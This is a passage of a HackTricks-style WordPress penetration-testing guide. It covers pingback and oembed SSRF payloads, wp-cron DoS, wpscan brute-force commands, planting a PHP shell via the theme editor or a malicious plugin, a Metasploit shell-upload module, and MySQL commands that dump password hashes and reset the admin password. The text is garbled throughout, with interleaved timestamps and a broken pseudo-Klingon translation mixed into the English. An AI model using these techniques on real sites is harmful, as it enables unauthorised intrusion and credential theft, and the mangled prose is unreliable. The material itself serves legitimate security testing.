2024-02-10 17:52:19 +00:00
< methodName > pingback.ping< / methodName >
< params >
< param > < value > < string > http://target/< / string > < / value > < / param >
< param > < value > < string > http://yoursite.com/and_some_valid_blog_post_url< / string > < / value > < / param >
< / params >
2020-07-15 15:43:14 +00:00
< / methodCall >
```
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 103 ) . png > )
2020-07-15 15:43:14 +00:00
2022-12-09 14:47:58 +00:00
### wp-cron.php DoS
2024-02-10 17:52:19 +00:00
**`/wp-cron.php`** **ghItlh** Wordpress **site** **root** **Daq** ** 'e'** **file** **Dajatlh** .\
**'e'** **file** ** 'e'** ** 'e'** **accessed** ** 'e'** "**heavy**" MySQL **query** ** 'e'** **performed** , so **attackers** ** 'e'** **DoS** ** 'e'** **cause** **vaj** .\
**'ej**, **default** **vaj** , ** `wp-cron.php` ** **called** **every** **page load** (anytime **client** **requests** **Wordpress page** ), **high-traffic sites** **vaj** **problems** (DoS).
2022-12-09 14:47:58 +00:00
2024-02-10 17:52:19 +00:00
**Wp-Cron** **disable** **recommended** ** 'ej** **host** **inside** **real cronjob** **create** **needed actions** **regular interval** (without **issues** **cause** ).
2022-12-09 14:47:58 +00:00
2022-05-01 16:57:45 +00:00
### /wp-json/oembed/1.0/proxy - SSRF
2020-07-15 15:43:14 +00:00
2024-02-10 17:52:19 +00:00
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ **access** **Try** **Worpress site** **request** **make** .
2020-07-15 15:43:14 +00:00
2024-02-10 17:52:19 +00:00
**'e'** **response** ** 'e'** **doesn't work** **when** :
2020-07-15 15:43:14 +00:00
2022-09-30 10:43:59 +00:00
![](< .. / . . / . gitbook / assets / image ( 184 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### SSRF
2020-07-15 15:43:14 +00:00
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
2024-02-10 17:52:19 +00:00
**'e'** **tool** **checks** **methodName: pingback.ping** ** 'ej** **path** ** /wp-json/oembed/1.0/proxy** ** 'ej** **exists** , **exploit** **tries** ** 'e'**.
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### Automatic Tools
2020-11-08 15:16:09 +00:00
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
2022-02-09 20:26:27 +00:00
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token < API_TOKEN > --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
2020-11-08 15:16:09 +00:00
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
2024-01-10 00:59:55 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-02-10 17:52:19 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks ) **ghItlh** **automate workflows** powered by the world's **most advanced** community tools.\
2023-01-01 16:19:07 +00:00
Get Access Today:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
2024-02-10 17:52:19 +00:00
## **ghItlh** access by overwriting a bit
2022-06-23 12:12:25 +00:00
More than a real attack this is a curiosity. IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man ](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man ) you could flip 1 bit from any wordpress file. So you could flip the position `5389` of the file `/var/www/html/wp-includes/user.php` to NOP the NOT (`!`) operation.
```php
2024-02-10 17:52:19 +00:00
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
2022-06-23 12:12:25 +00:00
```
2022-05-01 16:57:45 +00:00
## **Panel RCE**
2020-07-15 15:43:14 +00:00
2022-04-28 23:27:22 +00:00
**Modifying a php from the theme used (admin credentials needed)**
2020-07-15 15:43:14 +00:00
2022-11-27 15:36:38 +00:00
Appearance → Theme Editor → 404 Template (at the right)
2020-07-15 15:43:14 +00:00
Change the content for a php shell:
2022-12-24 19:34:46 +00:00
![](< .. / . . / . gitbook / assets / image ( 21 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2022-11-27 15:36:38 +00:00
Search in internet how can you access that updated page. In this case you have to access here: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php ](http://10.11.1.234/wp-content/themes/twentytwelve/404.php )
2020-07-15 15:43:14 +00:00
2022-05-01 16:57:45 +00:00
### MSF
2020-07-15 15:43:14 +00:00
You can use:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
use exploit/unix/webapp/wp_admin_shell_upload
```
2022-05-01 16:57:45 +00:00
## Plugin RCE
2020-12-27 11:12:11 +00:00
2022-05-01 16:57:45 +00:00
### PHP plugin
2020-12-27 11:12:11 +00:00
2021-10-18 11:21:18 +00:00
It may be possible to upload .php files as a plugin.\
2020-12-27 11:12:11 +00:00
Create your php backdoor using for example:
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 407 ) . png > )
2020-12-27 11:12:11 +00:00
Then add a new plugin:
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 409 ) . png > )
2020-12-27 11:12:11 +00:00
Upload plugin and press Install Now:
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 411 ) . png > )
2020-12-27 11:12:11 +00:00
Click on Procced:
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 412 ) . png > )
2020-12-27 11:12:11 +00:00
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 413 ) . png > )
2020-12-27 11:12:11 +00:00
Access it and you will see the URL to execute the reverse shell:
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 414 ) . png > )
2020-12-27 11:12:11 +00:00
2022-05-01 16:57:45 +00:00
### Uploading and activating malicious plugin
2020-12-27 11:12:11 +00:00
2024-02-04 10:58:49 +00:00
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
2020-12-27 11:12:11 +00:00
2024-02-04 10:58:49 +00:00
1. **Plugin Acquisition** : The plugin is obtained from a source like Exploit DB like [**here** ](https://www.exploit-db.com/exploits/36374 ).
2020-12-27 11:12:11 +00:00
2024-02-04 10:58:49 +00:00
2. **Plugin Installation** :
2024-02-10 17:52:19 +00:00
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin` .
- Upload the zip file of the downloaded plugin.
2020-12-27 11:12:11 +00:00
2024-02-04 10:58:49 +00:00
3. **Plugin Activation** : Once the plugin is successfully installed, it must be activated through the dashboard.
2020-12-27 11:12:11 +00:00
2024-02-04 10:58:49 +00:00
4. **Exploitation** :
2024-02-10 17:52:19 +00:00
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
2020-12-27 11:12:11 +00:00
2024-02-04 10:58:49 +00:00
The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.
2020-12-27 11:12:11 +00:00
2024-02-04 10:58:49 +00:00
**For more detailed steps check: [https://www.hackingarticles.in/wordpress-reverse-shell/** ](https://www.hackingarticles.in/wordpress-reverse-shell/ )**
2020-12-27 11:12:11 +00:00
2022-05-01 16:57:45 +00:00
## Post Exploitation
2020-07-15 15:43:14 +00:00
Extract usernames and passwords:
2020-11-08 15:16:09 +00:00
```bash
2020-07-15 15:43:14 +00:00
mysql -u < USERNAME > --password=< PASSWORD > -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Change admin password:
2024-02-10 17:52:19 +00:00
To change the admin password in WordPress, follow these steps:
1. Log in to the WordPress admin dashboard using your current admin credentials.
2. Once logged in, go to the "Users" section in the left-hand menu.
3. Locate the admin user and click on it to edit the user profile.
4. Scroll down to the "Account Management" section and find the "Password" field.
5. Enter your new desired password in the "Password" field.
6. Make sure to choose a strong and unique password to enhance security.
7. After entering the new password, click on the "Update Profile" button to save the changes.
8. Your admin password will now be updated, and you will need to use the new password to log in to the WordPress admin dashboard.
Remember to keep your admin password secure and change it regularly to protect your WordPress site from unauthorized access.
2020-11-08 15:16:09 +00:00
```bash
2020-07-15 15:43:14 +00:00
mysql -u < USERNAME > --password=< PASSWORD > -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
2022-05-01 16:57:45 +00:00
## WordPress Protection
2020-11-08 15:16:09 +00:00
2022-05-01 16:57:45 +00:00
### Regular Updates
2020-11-08 15:16:09 +00:00
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
2024-02-10 17:52:19 +00:00
## WordPress qoH
### cha'logh Updates
WordPress, plugins, je themes qoH. automated updating enabled wp-config.php:
2020-11-08 15:16:09 +00:00
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
2024-02-10 17:52:19 +00:00
### **majQa'**
2020-11-08 15:16:09 +00:00
2022-02-09 18:48:09 +00:00
* [**Wordfence Security** ](https://wordpress.org/plugins/wordfence/ )
* [**Sucuri Security** ](https://wordpress.org/plugins/sucuri-scanner/ )
* [**iThemes Security** ](https://wordpress.org/plugins/better-wp-security/ )
2020-11-08 15:16:09 +00:00
2024-02-10 17:52:19 +00:00
### **lo'laHbe'**
2020-11-08 15:16:09 +00:00
2024-02-10 17:52:19 +00:00
* **admin** user **ghom** .
* **Qap** **nIvbogh** je **2FA** .
* **qaStaHvIS** **review** users **permissions** .
* **Brute Force attacks** **ngogh** **login attempts** **Qap** .
* **`wp-admin.php`** file **ghItlh** je **ghItlh** IP addresses.
2020-11-08 15:16:09 +00:00
2024-01-10 00:59:55 +00:00
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
2024-02-10 17:52:19 +00:00
[**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks ) **ghItlh** **automate workflows** **Dochvam** **most advanced** community tools.\
**Access Today**:
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
< details >
2023-12-31 01:24:39 +00:00
< summary > < strong > Learn AWS hacking from zero to hero with< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 17:52:19 +00:00
**HackTricks** **support** **majQa'** :
2023-12-31 01:24:39 +00:00
2024-02-10 17:52:19 +00:00
* **company advertised in HackTricks** **ghItlh** **download HackTricks in PDF** [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop ) **chaw'}** .
* [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com ) **ghItlh** .
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ) **ghItlh** [**NFTs** ](https://opensea.io/collection/the-peass-family ) **ghItlh** .
* 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) **joq** [**telegram group** ](https://t.me/peass ) **joq** **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **hacking tricks** **ghItlh** **submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) **je** [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) **github repos** .
2022-04-28 16:01:33 +00:00
< / details >